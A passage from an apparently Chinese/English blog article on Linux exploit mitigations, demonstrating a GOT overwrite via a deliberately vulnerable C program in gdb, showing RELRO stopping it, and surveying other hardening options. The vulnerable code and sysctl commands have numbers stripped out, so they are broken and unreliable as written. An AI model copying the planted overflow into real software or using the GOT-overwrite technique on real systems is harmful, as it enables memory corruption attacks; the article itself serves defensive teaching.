} // Convert size to an integer
int size = atoi(argv[]);
// Convert offset to an integer
int offset = atoi(argv[]);
// Place string into its own string on the stack
char* str = argv[];
// Declare a 256 byte buffer on the stack
char buffer[]; // Print the location of the buffer for calculating the offset.
printf("Buffer:\t\t%8x\n", &buffer); // Fill the buffer with the letter 'A'.
memset(buffer, , - );
// Null-terminate the buffer.
buffer[] = ;
// Attempt to copy the specified string into the specified location.
strncpy(buffer + offset, str, size);
// Print out the buffer.
printf("%s", buffer); // Return success
return ;
}
//gcc -g -O0 -Wl,-z,norelro -fno-stack-protector -o a.out a.c

aaarticlea/png;base64,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" alt="" />

这个示例DEMO展示了一个内存复制导致的任意虚拟内存覆盖的漏洞,黑客可以借此覆盖进程的GOT表,以此实现函数劫持的目的
首先获取GOT虚拟内存地址
readelf -a a.out

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAeYAAAAoCAIAAACkZM7oAAAE0UlEQVR4nO2d24GEIAxFrcuCqIdqaIZi3A+VBAiKwywT8J4vJ8tDQgiIkl2Wn7Nav+14u0L4RGjcduJMrb4JhS0aRdimeevPsozbNmdCFc6wsll1qhAV8pLaG0ccAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPXsn62zj8bDp+T8O3ZJeMi0f29+3rr2+/wH2KmA9BBHrhOpi+lQg7PW2TXJTvlDur2AKGtSLDso4b3WsyQPEW1saOFCfUp99Ch7ArcH4cCSt5e5i/RUSJ8W3WN9dGfWn3dqXKhVFIrZ/4X1C5WkRXyjzAFgzTTu6EQbHGUQHUf0kkvjNpaSTvMF+6T8O1ynZ83GectzUe0rnRAcmjUMD6aaoYULP735vJklLeUJggGJf72lp0L6tKiKsus6Btu18HPPR7ORdWFKy8+qltZ1QkO2zduQPEkY3Wd1mcPDZ6bTBJktnb0ZW+eRqWCykcu+N4Y8zQxumpOoeAKh2PX12fkgDtkLDo7N38+HYTeFdGtRFaWCxRpz4Yf3RXPZ4WqXZYmWdSxBdeMNuX5elHif71tlh8tgaUHHqTKM83YtaYjPdxXGkE38v40g8Q/wVofroYWrdc75pIvrsy/GnOX4aPWam02bMXRTSLcWVSEOzP2ZtUb4meeL3MFq/cVaL019Qfycnj7ovdVls/22XUYitoi4cNnko8NOB22MRF67ymVH9zZDHyj0uY1CtvahMfXE44ubvAEqc7Uu2JJ5bgod57BOLaoiH2b7vmV+U+KGui6Xze8QLnuRmxkWCvwVxe3GSPgVia+VfKYo3d3dbuEYKNzZaBTyR1T2EqIuO5+JCx0s+Ufjno/HTgrp2KIqkmFmvbC3KwrF7CX2aUpw09FkEA3v6JGedk6okLRM/o4s063gsqUyZ+PSZbPVQen1I2UWXXby/vHeZbN+L6QfD1pYsSXW0MJ4eGbrx+vszOTYO8x4zzMr/DMH10khHVtURTRs0i+znCkJxexlMvfKSnVO2Oa//8ZQctneUgH8IW8TShXLnAsh9G/yenal2fjiO06+KxJpc2OmzHVcyJ3a0iSaVxjsu1EYDU/zNDtZkmcj9B+CkndTSL8W1dC40vnCQulrexRXz+AAADAD2VGaahqP0tB09J3FVr4sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwD0KIwIrFC7R2ZY4ofqAwtMJP9Z8lJF+mJHiYf02yvxPa///gNf6URgRWKFwOX/zk0WjBBSeT9ik+aRbo/PQ3jntoVXqY0bPV3uPgNf6URj4RqFwOc+Bxi57jIDC8wmbNH9kPsNQMNdjvTPqj+mW7PMNtfcIeK0fheElFQpDcJlC1BfVAYXnEzZpfj09s/dR5PHzSnkIQ1kh76i9ccRNgsIBqVAoRbnkj9SqAwrPJ2zTvHHertY7a/1+YfYys85WyZtddo+A1/phetfy2KtSuBFiyufW++sWzSJ8rHl6J2HZ3rXYxQoRFfLG2rsv8bWgMCKwQmGAryzGCCg8o7BR8+Hf49EnQPHeqOZ19rV9zl17j4DXA6AwIrBC4bIIHxgNElB4QmGb5ikW/v4vI0IVx1622Ptq+O1+7m9r7xDwGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIPyB/5skzNTgX30AAAAAElFTkSuQmCC" alt="" />

计算偏移量并进行溢出POC测试

(gdb) x 0x0600a58
0x600a58 <_GLOBAL_OFFSET_TABLE_>: 0x006008c0
(gdb) p -(0x1c6f0940 - 0x0600a58) % 0x80000000
$ =
(gdb) r \$\$\$\$
Starting program: /zhenghan/relro/a.out \$\$\$\$
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x2aaaaaaab000
Buffer: ffffe800 Program received signal SIGSEGV, Segmentation fault.
0x0000003e72e78fc9 in strncpy () from /lib64/libc.so.

Here, we see that we can overwrite the GOT entry for printf with our string. The program crashes because it’s trying to jump to memory that is not mapped.

0x2: RELRO: RELocation Read-Only

To prevent the above exploitation technique, we can tell the linker to resolve all dynamically linked functions at the beginning of execution and make the GOT read-only.

gcc -g -O0 -Wl,-z,relro,-z,now -fno-stack-protector -o b.out a.c 

首先获取GOT虚拟内存地址
readelf -a a.out

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAdwAAAAkCAIAAACsdxxiAAAEdklEQVR4nO2dbaLsEAyGrcuCrMdqbMZien8oQpnR6jWJ8z6/Ojk+DtGUlFSp9Wjrj4C3GkKVRMdxHIczQeJtI2mzzHH4tZ2h8KqObvZhrI/ZjDsOZ1JpzpyyxzpdwOSoE1171A0ZCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCesFGbbJNOm6fpzu0gLDdTnwmxw5otZB98fWzhuju+pfe8jd9Z66yusuf8xfkLb4usVbHkaID3XE9P3CR2S3EviBaqrNOsoxvZifq91eFslGrRq32QdR2yqkVKKWV9kdn6WJhxqdYgrFI2s/8X9IpK9oR0nXGnZm0yhUl0HjurLo07SMp8Qi3dpTl/gOop1myctzRXrl3nU2+i0emeIV0jWqjoicT7zVSNW/YcBiNdN87KDlnTopO+watrfdko56Om1qXnyvWEZW9uBkagQymOkmwWk4qb468zqgqj/H2EXNPsYIgpVRdvIGyq/k6ZxQIpl1gcNe/XPszCXlrUomspBdfp6ZtGOT9QFFkIkKkZSYCZ8nNI16XLZBZTH9cdbJy3utfr9Ck5MEIuQ/O3kQ3+A7TV6Vq0UFvn3Adz8yW7as4rj8Zt3ss+yLIOWdaiTznDynIk5bOKddXcD/O1OjW4A/XsXh/7UfLZKGcrnPwR2X1R2OUho1z8bzvolaFVnRSavHTNHqppE0YEedEm2ii/36JuzuA/HEn5uGIY5UW0ui7NlOn7g6/ui/SrENeOyDtGec7txgeG/odJIVmx0pcBo9nVExPG2n2xrEXXhoWfXb/tjFEOM7aGIS6eAUUzioV3XiZsMblaxkejTAZW70Vfztw0ytWbvu9Gmei9k14e2rrkc4tXsoXl7Zl9GqPZO4v9NG6IA62dfZB1HbKqRSoWR+qq9zGlKX33XdtDo1zstnKOrKPJarvekbePG3IRjdCwSRQEOj+EW3188R9Xr11Tsa03IS3vs64SbqFNfhGiZ4XF7WluZi/HiLcqvjcSGy58YYsCk7OVFyY78E4AAEDicnhkmMnDI/nxs8mECQAAAAAAAAAAAAAAAAAAAAAAAAAAAADAn4BhxFhuwm8HZx5uPeTWTDnCHMZQ3aPImH8YSZGYXggKLLX2x3oXBcOIsTyF15tVSsDZ/YTpBHlTL1+olFWc4vXOcQ/58U5QYJm1T+ldEAxDrjAUNgeBlIgt+wmzQXhw4vTMHAP7EONivTOPVLmSd6LqyKx9Su+CYBickKGQui/Sn6XENtxPOBXEQEfb630RmTpeMQ+PNznqRNf+TvAK/jC85RgKCV+C2I7DsJlShMTlYMxtw3B+lsJZ68OFCWXG0nlb5b9slOf0LgfSs1wWpwyFlJa9gPvid8LblsE4b0MJlviQm7H0GDI56vapffk0fR0MI8byE5afwsqOZhkBZ/cTkjvyyc2ZPnKWg6OWPkrOc+V3ggLLrH1S73JgGDFWtHAchv+8FGEjGPUNbPoadPhoQKri9ClP6HQBv/Wr/rb2Ob0DAAAAAAAAAAAAbMk/Td71fsSfzDAAAAAASUVORK5CYII=" alt="" />

(gdb) x 0x0600a58
0x600a58 <_GLOBAL_OFFSET_TABLE_>: 0x006008c0
(gdb) p -(0x7fffffffe800 - 0x0600a58) % 0x80000000
$ = -
(gdb) r - hello
Starting program: /zhenghan/relro/a.out - hello
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x2aaaaaaab000
Buffer: ffffe7f0 Program received signal SIGSEGV, Segmentation fault.
0x0000003e72e78fc9 in strncpy () from /lib64/libc.so.

Here, we see that we cannot overwrite the GOT entry for printf with our string. The program crashes because it trying to write to a memory segment that is read-only.

要实现RELRO安全加固技术,需要操作系统和编译器同时提供支持,即操作系统提供基础能力,编译器基于此对待编译的程序进行处理

. Linux kernel features
The Data Execution Prevention (DEP) feature prevents an application or service from executing code in a non-executable memory region. Hardware-enforced DEP works in conjunction with the NX (Never eXecute) bit on compatible CPUs.
) You cannot disable the DEP feature. . compiler flag
relro

Relevant Link:

http://larrythecow.org/universe/archives/2011-07-16.html.gz
https://isisblogs.poly.edu/2011/06/01/relro-relocation-read-only/
http://docs.oracle.com/cd/E37670_01/E36387/html/ol_kernel_sec.html
http://www.win.tue.nl/~aeb/linux/hh/protection.html

6. Default full binding at load-time (BIND_NOW)

To reduce the time between starting an application and actually being able to use it, most software is built with "lazy binding". This means that references to functions in shared libraries are resolved when they are actually used for the first time, rather than when the application is loaded. The hardened toolchain changes this behaviour so that by default it will set the "BIND_NOW" flag, which causes the loader to sort out all of these links before starting execution. It improves the effectiveness of RELROintro

Relevant Link:

https://wiki.ubuntu.com/Security/Features

7. Heap Protector

The GNU C Library heap protector (both automatic via ptmalloc and manual) provides corrupted-list/unlink/double-free/overflow protections to the glibc heap memory manager (first introduced in glibc 2.3.4). This stops the ability to perform arbitrary code execution via heap memory overflows that try to corrupt the control structures of the malloc heap memory areas.
This protection has evolved over time, adding more and more protections as additional corner-cases were researched. As it currently stands, glibc 2.10 and later appears to successfully resist even these hard-to-hit conditions.

8. Pointer Obfuscation

Some pointers stored in glibc are obfuscated via PTR_MANGLE/PTR_UNMANGLE macros internally in glibc, preventing libc function pointers from being overwritten during runtime.

Relevant Link:

http://udrepper.livejournal.com/13393.html

9. Built with Fortify Source

Programs built with "-D_FORTIFY_SOURCE=2" (and -O1 or higher), enable several compile-time and run-time protections in glibc:

. expand unbounded calls to "sprintf", "strcpy" into their "n" length-limited cousins when the size of a destination buffer is known (protects against memory overflows).
. stop format string "%n" attacks when the format string is in a writable memory segment.
. require checking various important function return codes and arguments (e.g. system, write, open).
. require explicit file mask when creating new files.

10. /proc/$pid/maps protection

With ASLR, a process's memory space layout suddenly becomes valuable to attackers. The "maps" file is made read-only except to the process itself or the owner of the process. Went into mainline kernel with sysctl toggle in 2.6.22. The toggle was made non-optional in 2.6.27, forcing the privacy to be enabled regardless of sysctl settings (this is a good thing).

11. ptrace scope

A troubling weakness of the Linux process interfaces is that a single user is able to examine the memory and running state of any of their processes. For example, if one application was compromised, it would be possible for an attacker to attach to other running processes (e.g. SSH sessions, GPG agent, etc) to extract additional credentials and continue to immediately expand the scope of their attack without resorting to user-assisted phishing or trojans.
In Ubuntu 10.10 and later, users cannot ptrace processes that are not a descendant of the debugger. The behavior is controllable through the/proc/sys/kernel/yama/ptrace_scope sysctl, available via Yama(centos kernel not support)

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbIAAAAmCAIAAAAukYmqAAAFUUlEQVR4nO2c4XXrIAyFPZcH4pxuwwidgmVYohv4/cCABFcYJ7WTl97v9EdqY5CQfBGO2+Xn52fbtu/v76+vr+WdcWHbiX59tTFP4+PuTHCvNoUQ0vDfyCIhhNwDZZEQQhSURUIIUVAWCSFEQVkkhBDFnbKYv37lt6+EkDfmNllcfUx6WD60JzL1VRwloeWwfEEnH4z+UuPFSIeanhrOeHRu+OhXH1+6orhw04p2xUC1TxfuWpoPcua/ns/P5hJZRPevj1nOju5uF/aWa71mqdrpQhHBEm7Z8gqqdBfjFsvNLbilOQE9OmtA3+1TnNfYi+f42oFUn/euL9ZgbzSfr15w3w4ki2mRi96lXW+esLW8g6wzrDmoSqN6dZr4VXc5Wk5XH3EN6EKVxV5qgfGrj9sWY5w2PvUvPousyaMbbkpnDz1K488k5LQs1po6hFC0uHjZtpovYEXF4eO2RV/60MGcSxtkZz+QvjzE5L4RI9By0KfoKV1er652nsgldPmSpwvNrzTJ8KgLnAhbSDZFM8TzgcPJgKNpDDTMusO/v8CBQxnS5ZKRimdGh1jVogu5x117XNiEBpXaCRy0yqjgki50Z2HeWEucuhrfcr3xiwtbNVmWnZ3xshwsn+WY9bO9xk56NCmLNcQ69rClyN+i9a4cG5e6A+S06H2omMbZtDHsBAOJX2sIcYxgS9hn8X314n4r97levaZyyb58MZLBdFM50gUuz+E+a9V5FGIwkBE4Ixl63+FAIJrDCTGnQgQOZYglQZ1HZ0bH2LKop1f/vk8jPLgMZTG4GVm0NptpisSvpdDI4YLGqyO13DswXtj5vCxObp+FUKoKx4Xo11ommxcbRWqR1AdlsW2sq69mcg/TZjB0f0pVSF0z2R62hH2uPqZqK8/n2qw8GxIpw93x5QuURcOk5hQIXD5byt10HIcYDGQEzpRFvJBDk6xmxyVbHzhoD75hgUfnRofcKovGrrltbQi8C+0eQd0T+D7tjxzJYi7r9JFuE224ecoj5GJwdW83fCrRA+2RVfzRg1HbLFCCwNNPymIfOOWIGLSPkdUS9Nk8yhkO/EAuNfQ2wuatRzBwUBatEM8HblIWhyYde3hICdwpWew9emx0yaws6uGz1fCgzMtaFg+qpWYOZMtyykcgCEILz8uiZfx+xgdYlooCFbo579Fy5tmiC7nWHiIH2ncUqubV1aJhfAvQ9LRCASmcSxtkpzlQn1SlYxkjoyVckNKciO/u2qKjcWAml+wpnF0jG49g4CxZPAixGAMGzkgG6+FDMxCK5vyX3zhwuE8oQcCjp796B7Koa9AyJCzUreq9f5umrDRiO9nUQfXRTVsctWVxXbJA+d31mI/VQqzvtcn99onX6CGmOqoNFY8/ULk3L4v1EcQY6VI3Sembgn7TOV5aUYq5EH0dqez+uplfrEk27AQDwYnb50Rajluafba5gDo4k0tofJjeo1u2yboucHUbsT8BaF1RIZ4NXDNWfYgJoolzCUVzGLouHH071CfKJcOjJ9+J4+vckHd7YcHH4J7fGjwALm2OnnL+2kAjjmP02OP2Sxma9MsvYN0TuBdzjUf84z+N9dyeVF79zyI/L0Y3efTqwP0+V3lEWSSEXE739fBbCzRlkRBCFJRFQghRUBYJIURBWSSEEAVlkRBCFIYsuv6fBhJCyJ8AyiL8p4GEEPInGGyiKYuEkL8IZZEQQhSURUIIUVAWCSFEQVkkhBCF9U30+/81NyGEXAJf5yaEEAVlkRBCFJRFQghRUBYJIURBWfwcNvRDCDkLZfFzoCwS8itQFj8HyiIhv8E/r2I16SHcxsUAAAAASUVORK5CYII=" alt="" />

12. /dev/mem protection

Some applications (Xorg) need direct access to the physical memory from user-space. The special file /dev/mem exists to provide this access. In the past, it was possible to view and change kernel memory from this file if an attacker had root access. The CONFIG_STRICT_DEVMEM kernel option was introduced to block non-device memory access (originally named CONFIG_NONPROMISC_DEVMEM).

13. Block module loading

In Ubuntu 8.04 LTS and earlier, it was possible to remove CAP_SYS_MODULES from the system-wide capability bounding set, which would stop any new kernel modules from being loaded. This was another layer of protection to stop kernel rootkits from being installed. The 2.6.25 Linux kernel (Ubuntu 8.10) changed how bounding sets worked, and this functionality disappeared. Starting with Ubuntu 9.10, it is now possible to block module loading again by setting "1" in /proc/sys/kernel/modules_disabled.

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAdQAAAApCAIAAAADPk9IAAAFiElEQVR4nO2d3ZXjIAyFXZcL4pzphhK2CpqhienA+4D5EVwBnolDkrnf2YeMg5EQ8rXASXb7/v4+juPfv39fX19bxPqjwJmNEELIQ4HiSwgh5F4ovoQQsgCKLyGELIDiSwghC6D4EkLIAii+hBCyAIovIYQs4JniGz8+zA8OE0L+PE8T3936oLrpRf1GxDj4DY902Nu9aevtrc4XloZ3jtBwZkTXzHu7W7/0vmXck+6bdxjKfRr3rAJgkDO/G+ZwGNMZ+wjrzVU8ifX44v2B88+b10dxi/gilbA+iuZIQ4w7W+75nC3PrXFptlL2li3vIKdWcm7Thnk4s1VvwBFddaDt9ldcV/KbY3yvIdHnc+9imrHfD3NmGPcN9UE9G6dXTldNLK5OroLEN9x1vDVhnyCOZ0/fOpZ5XB0UZV4+O8Rll1327m+79XhW8mxlJcyXE3B+t/44vPfTzof+i9fFpEbryjDLwQ5HFOzP5Mu0+Ob1gXMuKX4aZd1qvrwoyrRQraQ+5GTOpQ3yszUkT3c+DF+ZI9Cy02fRUzg9n539vJBL6PQthgvFt6rEYyitL3qAoSviHnrOFV8ZDcU69rMTutZtaX3TrmLUJ0jFuKaDmTjlPHLpPdAqX+PiCE+FM07kRKwDwUGtJHQmqE/zLgyZVheIs/GF3Tq/GXdkl8sSunG+LG3T69Jmfq0XUJMjmhRf+VMbvfZ5GLv1+Y5i0rF+2d6hDItc4RVhnE0bxU9gqPgzTyGeI9gS9pnGvluXfUtyIO+RU7mkn74pySBcipE5Y9EJnUjUPAegOIDWFT87oRMo1uEwcZ8gFc8Ax9dipsbOd116dXTxlfkq/97jPRcc3Lri68yM+GrL83CpFn+moinOKnReHMml68D5ws/fi+/khkMhx6JaM87bvbdA6/hT1AvHD8W3biwrySq4w7TpmG7fEnVh02wXsoPvT22fu/Whxozx3Kv72wHEXRtu//QNim/lUvwzFeSFBIsm8rw8C5Piq/qpha7ndb1jXQ8T9YlSUc2lGef7Lr06TxVfZYVSt1Y2HIzrLKmMU2ewOjIS31iiyiMouefFV91CaYfoTF4Nd/dxWqA/5YpktGGtu1XFU17hjxPfduLEQAqj7RxpLUGf1eZX1/APcqmi9VGrxO8W376fpxk9Ua+Jb9snTsVZ8YXO/w3xlZMahwwPllOYlxydyq+atrJlest6IDuF4l4XX8358x3rYIldFNtwmPMj2q7s+RoX1w1dSkPnEk7U77LyVZyvARdkuA8CwZ1LG+SnaqhNqtRxOUdKS6gmISbFk9vOdTubS3oIx3diKL4wdHWlX8ez/fCAtA791INcoVgfGCrFF6SiyKVKJcbOd116dYD4yvo+BQOuXvGStqjWRMuYP0pNl7fU6kKvXnLk+2d9CDkfj+Wisu21usLqncje5rI4in4KWS1d58U3b9r0KYfUBCk8J2qX6f1qCKW8cd5mS2kHoIn8pgVZ8RMYgoE7YwIfu4iWap91LqAOruQSsg/Tu3UpL3RO6YwOwtCVKe+T1Maj3tq484mtD/3spxiyPr6KQcrFVAxDHj217zivBOQt4JcsIK/22NR6Z4ZrxjvApdBo9/lhhnqM5+h6n7fzgi6RVfDrxZK5Rw9/m/wZojUR4hyRj4DiSwgRNB8s4J3uFii+hBCyAIovIYQsgOJLCCELoPgSQsgCKL6EELKA7g/r8AknIYTcAxTf/CXsJR/sJ4SQjweKb+d3OgghhDyAkfi+3BdtCSHkE6D4EkLIArjtQAghC1AeuKGfryWEEPIo8EfNlJ+vJYQQ8hj4JQtCCFkAxZcQQhZA8SWEkAVQfAkhZAEU38/hQP8IIa8JxfdzoPgS8kZQfD8Hii8hbwT/6/jPgeJLyPvwH6/USA2tE6iAAAAAAElFTkSuQmCC" alt="" />

14. Syscall Filtering

Programs can filter out the availability of kernel syscalls by using the seccomp_filter interface. This is done in containers or sandboxes that want to further limit the exposure to kernel interfaces when potentially running untrusted software.

15. How To Harden Linux

要实现系统级的安全加固,防御Error Based DOS、Buffer Overflow攻击,需要从Linux内核配置和编译器的编译选项两个方面同时入手,但是大多数时候,编译器选项是我们没法控制的,我们只能从系统内核配置这个角度入手

0x1: Ubuntu

. echo  > /proc/sys/kernel/randomize_va_space
. echo > /proc/sys/kernel/yama/protected_sticky_symlinks
. echo > /proc/sys/kernel/yama/protected_nonaccess_hardlinks
. echo > /proc/sys/kernel/yama/ptrace_scope
. echo > /proc/sys/kernel/modules_disabled: 需要慎重,这个Kernel选项禁止root用户加载LKM
. echo > /proc/sys/kernel/kptr_restrict
. echo > /proc/sys/kernel/dmesg_restrict: 需要慎重,这个Kernel选项禁止root用户查看内核调试信息

0x2: Centos

Relevant Link:

https://fedoraproject.org/wiki/SecurityBasics
https://wiki.ubuntu.com/Security/Features
http://wiki.centos.org/HowTos/Custom_Kernel
https://www.usenix.org/legacy/event/sec08/tech/full_papers/dalton/dalton_html/
https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-silberman/bh-us-04-silberman-paper.pdf
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.208.9387&rep=rep1&type=pdf
http://www.informit.com/articles/article.aspx?p=2036582&seqNum=6

Copyright (c) 2015 LittleHann All rights reserved

Linux Overflow Vulnerability General Hardened Defense Technology、Grsecurity/PaX的更多相关文章

  1. ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)

    ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...

  2. Linux运维实战之磁盘分区、格式化及挂载(一)

    在网络系统中,磁盘和文件系统管理是两个非常基本.同时也是非常重要的管理任务,特别是文件系统管理,因为它与用户权限和整个网络系统的安全息息相关.本次博文的主题是关于Linux系统中磁盘分区.格式化及挂载 ...

  3. Linux启动过程详解(inittab、rc.sysinit、rcX.d、rc.local)

    启动第一步--加载BIOS 当你打开计算机电源,计算机会首先加载BIOS信息,BIOS信息是如此的重要,以至于计算机必须在最开始就找到它.这是因为BIOS中包含了CPU的相关信息.设备启动顺序信息.硬 ...

  4. linux命令 - ln - 创建和删除软、硬链接

    linux命令 - ln - 创建和删除软.硬链接 在Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号.文件属性保存在索引结点里,在访问文件 ...

  5. Linux命令:修改文件权限命令chmod、chgrp、chown详解

    Linux系统中的每个文件和目录都有访问许可权限,用它来确定谁可以通过何种方式对文件和目录进行访问和操作. 文件或目录的访问权 限分为只读,只写和可执行三种.以文件为例,只读权限表示只允许读其内容,而 ...

  6. linux下的shell运算(加、减、乘、除)

    linux下的shell运算(加.减.乘.除) 标签: linuxshell运算加减乘除 2014-03-12 16:25 15127人阅读 评论(0) 收藏 举报 分类: linux(17) ((i ...

  7. linux下压缩与解压(zip、unzip、tar)详解

    linux下压缩与解压(zip.unzip.tar)详解 2012-05-09 13:58:39| 分类: linux | 标签:linux zip unzip tar linux命令详解 |举报|字 ...

  8. Linux内核配置机制(make menuconfig 、Kconfig、Makefile)讲解【转】

